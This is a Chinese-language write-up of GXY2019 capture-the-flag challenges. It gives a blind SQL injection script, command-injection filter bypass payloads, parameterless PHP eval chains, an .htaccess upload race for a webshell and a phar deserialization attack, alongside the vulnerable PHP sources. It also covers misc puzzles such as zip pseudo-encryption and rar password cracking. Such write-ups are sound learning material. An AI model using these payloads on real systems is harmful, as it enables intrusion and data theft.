[复现]GXY2019
前言
当时GXY的时候在复习中,临时抱拂脚,没时间打比赛。就写了一题。/(ㄒoㄒ)/~~
babysqli
当时做了写了笔记。
过滤了or,()其中or可以用大小写绕过,可以用order by盲注

第一列应该是id,第二列是用户名,第三列是密码
当提示wrong pass,说明第一行是正确的账户密码取出来比对错误
当提示wrong user,说明第一行不是admin用户,此时输入的字符串第一位比md5哈希后的密码第一位小
import requests
url='http://183.129.189.60:10001/search.php'
payload="admin'union select 1,2,0x43444339433831394337463842453236323844343138303636{} oRder by 3 #"
#payload="union_373_Tom' union select 1,2,0x{} order by 3,2,'1"
flag=''
s = requests.session()
s.keep_alive = False //关闭多余连接
for i in range(10):
for j in range(33,127):
data={"name":payload.format((flag+chr(j)).encode('hex')),"pw":'123'}
lihuaiqiu=s.post(url,data=data)
#print lihuaiqiu.text
if "wrong pass" in lihuaiqiu.text:
flag+=chr(j-1)
print flag
break
跑两段跑出来hash CDC9C819C7F8BE2628D4180669009D27
但是解密不出,队友告诉是我像实验吧的一道逻辑问题。主要是这两处提示


base32解码,转base64,解码

所以判断逻辑是通过username然后对比md5(password)这样,就会存在逻辑问题。相同题目如实验吧逻辑问题
https://blog.csdn.net/dongyanwen6036/article/details/77768345


第一个payload是直接作为admin, md5(yunyingc)
第二个payload是用order by注入倒叙,因为哈希是C开头的。所以倒叙就是我们自己设置的md5了
Ping Ping Ping
考察命令执行的bypass

看回显可能是过滤了空格和符号


通过fuzz发现{}估计是被过滤了,但是代替空格的$IFS$9还可以用

读取flag.php未果,估计过滤了字符。可以读index.php
<?php if(isset($_GET['ip'])){ $ip = $_GET['ip']; if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo "<pre>"; print_r($a); } ?>
过滤了很多符号。将我们记录的小本本拿出来,找找姿势。
因为这里没有过滤$,所以我们依然可以用变量替换执行来bypass
这里的正则方式是.*f.*l.*a.*g.*,因此不能出现flag,但其实不然,只是顺序无须如此。我们可以改变顺序来变量替换。
比如:
a1=.php;a2=g;a3=a;a4=l;a5=f;a6=$a5$a4$a3$a2$a1;cat$IFS$9$a6
这样的顺序,当执行时,才会按逆序排成flag字符

再去找找WP,看看别的师傅的姿势。
payload1:
tac$IFS$9f`echo$IFS$9$PATH|cut$IFS$9-c6`ag.php
来自https://blog.csdn.net/Pdsdt1/article/details/103663334
通过环境变量PATH结合cut -c获得单个字符l,拼接成flag.php
payload2:
?ip=;cat$IFSls;
来自https://blog.csdn.net/ChenZIDu/article/details/103937649
emmmmm,这也行?学到了学到了。
顺便去补充下自己的小本本。
禁止套娃
今天醒来,发现科比去世了。接二连三的打击。想着想着,悲伤又难过。或者不该。爱情也好,一通电话后,说散就散了吧,才发现原来自己不算什么,没有什么优点值得喜欢。加油(ง •_•)ง,努力去挣脱
只有两个页面,index.php和flag.php,随手测试了下,当路径是不存在的时候仍然回到主页面。加了个.git出现403。
用githack拉下来了index.php
<?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>
这种套娃题(无参数RCE),在ByteCTF和上海CTF中已经见过几次了。套路很多。参照我以前的文章:yunying
这里方法很多,没有过滤啥。这里我用的是crypt(serialize(array()))
查看当前目录,多尝试几次,直到出现.
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

发现flag.php不在末尾,无法用end等直接读flag.php。目的是把flag.php放在最后,或者第一个或者第二个。
寻找下数组反转的函数:https://www.w3school.com.cn/php/php_ref_array.asp
可以使用array_reverse()函数反转字符串
print_r(array_reverse(scandir(chr(ord(strrev(crypt(serialize(array()))))))));

这样的话就可以用next读
readfile(next(array_reverse(scandir(chr(ord(strrev(crypt(serialize(array())))))))));

babyupload
很干净的前端,随便fuzz下网页看能不能找到别的。

不存在flag.php,应该是需要上传getshell,读取/flag的

传个小马看看,禁止了ph,大小写无法绕过

随便传个jpg

= =没看懂啥意思。再传一个一句话jpg

修改下风格就行了,可以发现这样的jpg可以上传,但是之前的普通的jpg不行。应该是限制了图片大小。

这么看,不就是像suctf那个题目嘛,这次是apache,改成.htaccess解析就可以了
还是不行,不是通过exif_imagetype()判断的嘛?将其改为.jpg,burp在修改为.htaccess
这里我直接修改了Content-Type尝试,成功上传

但是去访问路径的时候访问不到。。。就很奇怪,不知道题目是不是有问题还是啥我没get到。去看了下WP,发现确实就是会删,需要条件竞争去解析。
于是用burp启动两个intruder

尝试执行命令

多试几次就出来了

查看根目录

发现system('cat /flag');不行,一片空白,看一下phpinfo


改用php文件IO函数

去看了下源码

确实是通过content-type去判断的,而不是exif_imagetype函数,并且规定了大小2048
babysqli2.0
宽字节注入,buu没复现环境
babysqli3.0
提示里有一个u9db8

通过admin发现有这个账户,显示wrong password
brup卡了5分钟,因为弱口令字典payload太多。。结果第一个就是
0
进入home.php页面

题目说当前引用的是upload.php,应该是文件包含
获得home.php源码
<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
if(isset($_GET['file'])){
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("hacker!");
}
else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "当前引用的是 ".$file;
require $file;
}
}
else{
die("no permission!");
}
}
upload.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>
<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;
function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}
function upload($file){
global $sandbox;
global $ext;
if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}
function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}
function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}
if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}
?>

很明显的phar反序列化构造。
发现这里会 echo文件内容。而且home.php中拦截flag字符串,也就是不能直接拼接成flag.php。意思就是flag文件是flag.php


但是这里有个传name的操作,虽然过滤了.,但是这里好像多了一个空格。导致没有限制好

那如果随便上传个东西,但是通过传name,将name设置为flag.php不就行了嘛

这个应该是非预期解。
因为上面这个非预期的操作,可把我整死了。浪费了大半天,读不到flag.php,一直返回asdfsdf。因为现在的flag.php已经被覆盖了,因为move_uploaded_file的缘故被替换成了我上传的txt内容。所以自己把自己搅屎了,因此不能继续预期解法,重开一下题目。呢么为什么这次能读到flag,而下一次就读不到了呢?因为析构函数是最后才执行,他先直接file_get_contents然后,再执行析构函数,调用cmd命令,重命名成flag.php并且覆盖了原flag.php
预期解应该是执行eval($this->cmd)命令,读取flag.php
通过file_get_contents($uploader)这里,触发phar反序列化。所以这里构造的phar序列化链非常的简单。只要满足$this->token与$_SESSION['user']相同就行。因为我们随便上传一个东西,就返回$_SESSION['user']的值

获取$_SESSION['user'] =>GXY261c07c484f20daaaf4c3b6d9a8edb2e
上传phar.phar,重置名字为haha.jpg

再随便上传一个东西,指定name=phar:///var/www/html/haha.jpg,获取flag

然后看到Ying师傅还有一种非预期解,就是直接getshell,一句话木马。确实,因为直接传上去的,传到/var/www/html里都可以,没有做好过滤的话。
所以这道题?过滤了.的话,就不能指定phar://xxxx.xx了,phar://反序列化的话又不能直接不带.后缀的,会认为是二进制文件。那要是不过滤.的话,就造成了这两种非预期解。我觉得这里应该过滤的是.php,即不能指定flag.php,也就不能一句话木马上去了,并且要过滤.htaccess或者.user.ini,不然依然可以把上传的图片解析成马儿。我觉得这道题过滤需要考虑的比较周到。
StrongestMind
进入页面是计算器的形式

用dirsearch也没有扫到东西, burp也没有抓到什么东西,意思真就1000一次?,那就来试试吧。
因为只有+ -但是中间有空格需要注意
import requests
import re
import time
reexpression=re.compile('<br>(\d+ [+-] \d+)<br>')
url='http://45a349c0-d321-414b-8ab4-0029e41ce565.node3.buuoj.cn/index.php'
session_keep=requests.session()
response=session_keep.get(url)
response.encoding='utf-8'
print(response.text)
response_true=reexpression.findall(response.text)
data={"answer":eval(''.join(response_true))}
response2=session_keep.post(url=url,data=data)
response2.encoding='utf-8'
for i in range(1000):
response_true=reexpression.findall(response2.text)
response2=session_keep.post(url=url,data={"answer":eval(''.join(response_true))})
response2.encoding='utf-8'
print(response2.text)
time.sleep(0.1)
我觉得我的代码可看性有点差啊,感觉没必要这么标识变量名

明明1001次成功才给flag,要是有人被坑了岂不是很难受,得重跑一遍。
Do you know robots
去看了下还有一道题,反序列化比较简单,这里不上了。
[MISC]佛系青年
学习MISC
压缩包里有一个png一个加密的txt

010editor查看zip,百度了下是不是伪加密 东西
https://blog.csdn.net/qq_26187985/article/details/83654197
我们查看fo.txt压缩原文件目录区

发现是全局方式位标记是09,奇数,改成00
也可以ZipCenOp这个工具,有时候不行有时候行。



[MISC]SXMgdGhpcyBiYXNlPw==
标题解密

压缩包里flag.txt中都是base64的东西

base64隐写
https://www.jianshu.com/p/f1f4e10ad10e

[MISC]gakki
新恒结衣

拖入010editor
发现数据太多了,不应该是一张简单的图片,拉入kali中,foremost一下
得到一个rar包

尝试对rar爆破密码,用ARCHPR爆破

得到8864密码解压出flag.txt,一堆乱七八糟的字符,尝试词频分析,qiuqiu网站api失效
这里因为词频分析网站失效了。我就看了WP,用EXP中给的
语料库在线--字词频统计网站依旧失效。
于是用EXP的cout.py统计
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+-={}[]"
f = open("C:\\Users\\dell\\Desktop\\00000268\\flag.txt", "r")
data = f.read()
result = {d:0 for d in alphabet}
def sort_by_value(d):
items = d.items()
backitems = [[v[1],v[0]] for v in items]
backitems.sort(reverse=True)
return [ backitems[i][1] for i in range(0,len(backitems))]
# while data:
for d in data:
for alpha in alphabet:
if d == alpha:
result[alpha] = result[alpha] + 1
# data = f.readline()
print(sort_by_value(result))
print(''.join(sort_by_value(result)))
得到flag


浙公网安备 33010602011771号